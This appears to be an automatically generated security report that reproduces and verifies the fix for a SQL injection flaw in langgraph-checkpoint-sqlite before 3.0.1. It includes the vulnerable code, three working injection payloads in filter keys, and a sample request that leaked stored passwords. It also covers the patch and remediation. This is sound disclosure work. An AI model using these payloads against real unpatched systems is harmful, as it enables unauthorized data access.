Report Date: December 10, 2025 Advisory ID: GHSA-9rwj-6rc7-p77c Reproduction Status: ✅ CONFIRMED
A critical SQL injection vulnerability was identified and successfully reproduced in the langgraph-checkpoint-sqlite package. The vulnerability allows attackers to bypass access controls and exfiltrate sensitive data from LangGraph checkpoint storage by injecting malicious SQL through unvalidated metadata filter keys.
Key Finding: Exploitation confirmed - private checkpoint data including passwords was successfully leaked via SQL injection payloads.
| Attribute | Value |
|---|---|
| Package | langgraph-checkpoint-sqlite |
| Ecosystem | PyPI (Python) |
| Vulnerable Versions | < 3.0.1 |
| Patched Version | 3.0.1 |
| Severity | HIGH |
| CVSS Score | 7.3 |
| CWE | CWE-89: SQL Injection |
| Fix Commit | 297242913f8ad2143ee3e2f72e67db0911d48e2a |
The vulnerability exists in the _metadata_predicate() function within langgraph/checkpoint/sqlite/utils.py. The function constructs SQL queries by directly interpolating metadata filter keys into f-strings without validation:
# VULNERABLE CODE (< 3.0.1)
def _metadata_predicate(metadata_filter: dict) -> tuple[Sequence, Sequence[Any]]:
predicates = []
param_values = []
for query_key, query_value in metadata_filter.items():
operator, param_value = _where_value(query_value)
predicates.append(
f"json_extract(CAST(metadata AS TEXT), '$.{query_key}') {operator}"
# ^^^^^^^^^^
# UNSANITIZED USER INPUT INTERPOLATED
)
param_values.append(param_value)
return (predicates, param_values)While filter values are properly parameterized, filter keys bypass security measures entirely.
An attacker controlling metadata filter keys can break out of the JSON path literal and inject arbitrary SQL:
Malicious Key: x') = ? OR 1=1 --
Generated SQL (simplified):
SELECT * FROM checkpoints
WHERE json_extract(CAST(metadata AS TEXT), '$.x') = ? OR 1=1 -- ') = ?The injection:
- Closes the JSON path string with
') - Satisfies the existing parameter placeholder with
= ? - Adds
OR 1=1to create a tautology (always true) - Comments out remaining SQL with
--
- Application must expose checkpoint query functionality
- Attacker must control metadata filter keys (not just values)
- Target must use
SqliteSavercheckpointer
- Platform: Ubuntu 22.04 (Lima VM)
- Python: 3.10
- Test Server: FastAPI with uvicorn
| # | Payload | Purpose |
|---|---|---|
| 1 | x') = ? OR 1=1 -- |
Boolean tautology bypass |
| 2 | x') = ? UNION SELECT 1 -- |
Union-based injection |
| 3 | x') = ? OR json_extract(CAST(metadata AS TEXT), '$.access') IS NOT NULL -- |
Nested function injection |
| Payload | Vulnerable (3.0.0) | Patched (3.0.1) |
|---|---|---|
| #1 - OR 1=1 | ✅ EXPLOITED - Both checkpoints returned, password leaked |
❌ BLOCKED - HTTP 500, ValueError |
| #2 - UNION | ❌ BLOCKED - ValueError |
|
| #3 - Nested | ✅ EXPLOITED - Both checkpoints returned | ❌ BLOCKED - HTTP 500, ValueError |
Vulnerable Version (3.0.0):
// Request
POST /api/history
{"filter_field": "x') = ? OR 1=1 -- ", "filter_value": "dummy"}
// Response - HTTP 200 (LEAKED DATA)
[
{"access": "private", "data": "secret information", "password": "super-secret"},
{"access": "public", "data": "public information"}
]Patched Version (3.0.1):
// Same request returns HTTP 500
ValueError: Invalid filter key: 'x') = ? OR 1=1 -- '.
Filter keys must contain only alphanumeric characters, underscores, dots, and hyphens.
The patch introduces key validation via regex:
# PATCHED CODE (>= 3.0.1)
import re
_FILTER_PATTERN = re.compile(r"^[a-zA-Z0-9_.-]+$")
def _validate_filter_key(key: str) -> None:
if not _FILTER_PATTERN.match(key):
raise ValueError(
f"Invalid filter key: '{key}'. Filter keys must contain only "
"alphanumeric characters, underscores, dots, and hyphens."
)- Key Validation: All filter keys validated against
[a-zA-Z0-9_.-]+before use - Parameterized LIMIT:
limitparameter now passed as bound parameter instead of interpolated
Verdict: ✅ EFFECTIVE
All tested bypass attempts are rejected at the validation layer before any SQL is constructed. The regex pattern prevents injection of:
- Quote characters (
',") - SQL operators (
=,OR,AND) - Comments (
--,/*) - Parentheses (
(,))
| Scenario | Risk Level |
|---|---|
Custom server deployments using SqliteSaver |
HIGH |
| Applications forwarding user input to checkpoint filters | CRITICAL |
| Internal tools with trusted users | LOW |
| LangSmith hosted deployments | NOT AFFECTED (custom checkpointers not supported) |
- Confidentiality: Unauthorized access to all checkpoint data
- Integrity: Potential for data modification via advanced injection
- Availability: DoS possible via malformed queries
-
Upgrade immediately to
langgraph-checkpoint-sqlite >= 3.0.1pip install --upgrade "langgraph-checkpoint-sqlite>=3.0.1" -
Audit applications for any code paths forwarding user input to checkpoint filters
-
Review logs for suspicious filter key patterns (containing
',--,OR, etc.)
-
Input Validation: Enforce allowlist validation at API boundaries, not just the library layer
-
Defense in Depth: Add parameterized queries for ALL user-controlled inputs
-
Security Testing: Add fuzzing tests for filter keys with SQL metacharacters
-
Error Handling: Return 400 Bad Request instead of 500 for invalid filter keys
| File | Description |
|---|---|
repro/reproduction_steps.sh |
Automated bash script for full PoC |
repro/vuln_server.py |
Vulnerable FastAPI server demonstrating the issue |
repro/rca_report.md |
Root cause analysis report |
repro/patch_analysis.md |
Detailed patch effectiveness analysis |
logs/langgraph_sqlite_*/ |
Execution logs with evidence |
cd repro && ./reproduction_steps.shThe script:
- Creates isolated virtualenv
- Installs vulnerable version 3.0.0
- Runs exploitation tests
- Upgrades to patched version 3.0.1
- Verifies fix blocks all payloads
| Date | Event |
|---|---|
| 2025-12-10 | GHSA published |
| 2025-12-10 | Pruva reproduction initiated |
| 2025-12-10 | Vulnerability confirmed exploitable |
| 2025-12-10 | Patch verified effective |
| 2025-12-10 | Security report generated |
- GitHub Advisory: https://github.com/advisories/GHSA-9rwj-6rc7-p77c
- Project Advisory: https://github.com/langchain-ai/langgraph/security/advisories/GHSA-9rwj-6rc7-p77c
- Fix Commit: https://github.com/langchain-ai/langgraph/commit/297242913f8ad2143ee3e2f72e67db0911d48e2a
- Package: https://pypi.org/project/langgraph-checkpoint-sqlite/
| Field | Value |
|---|---|
| Generated By | Pruva Security Automation |
| Reproduction Time | ~66 minutes |
| Agent Turns | 102 |
| Lima VM | pruva-ghsa-9rwj-6rc7-p77c-langgraph-checkpoint-* |
| Session ID | GHSA-9rwj-6rc7-p77c-LANGGRAPH-CHECKPOINT-SQLITE-SQL-INJECTION-4820c8ab |
This report was automatically generated by Pruva's AI-powered vulnerability reproduction platform.
Is pruva available or any details on how you come up with the workflows?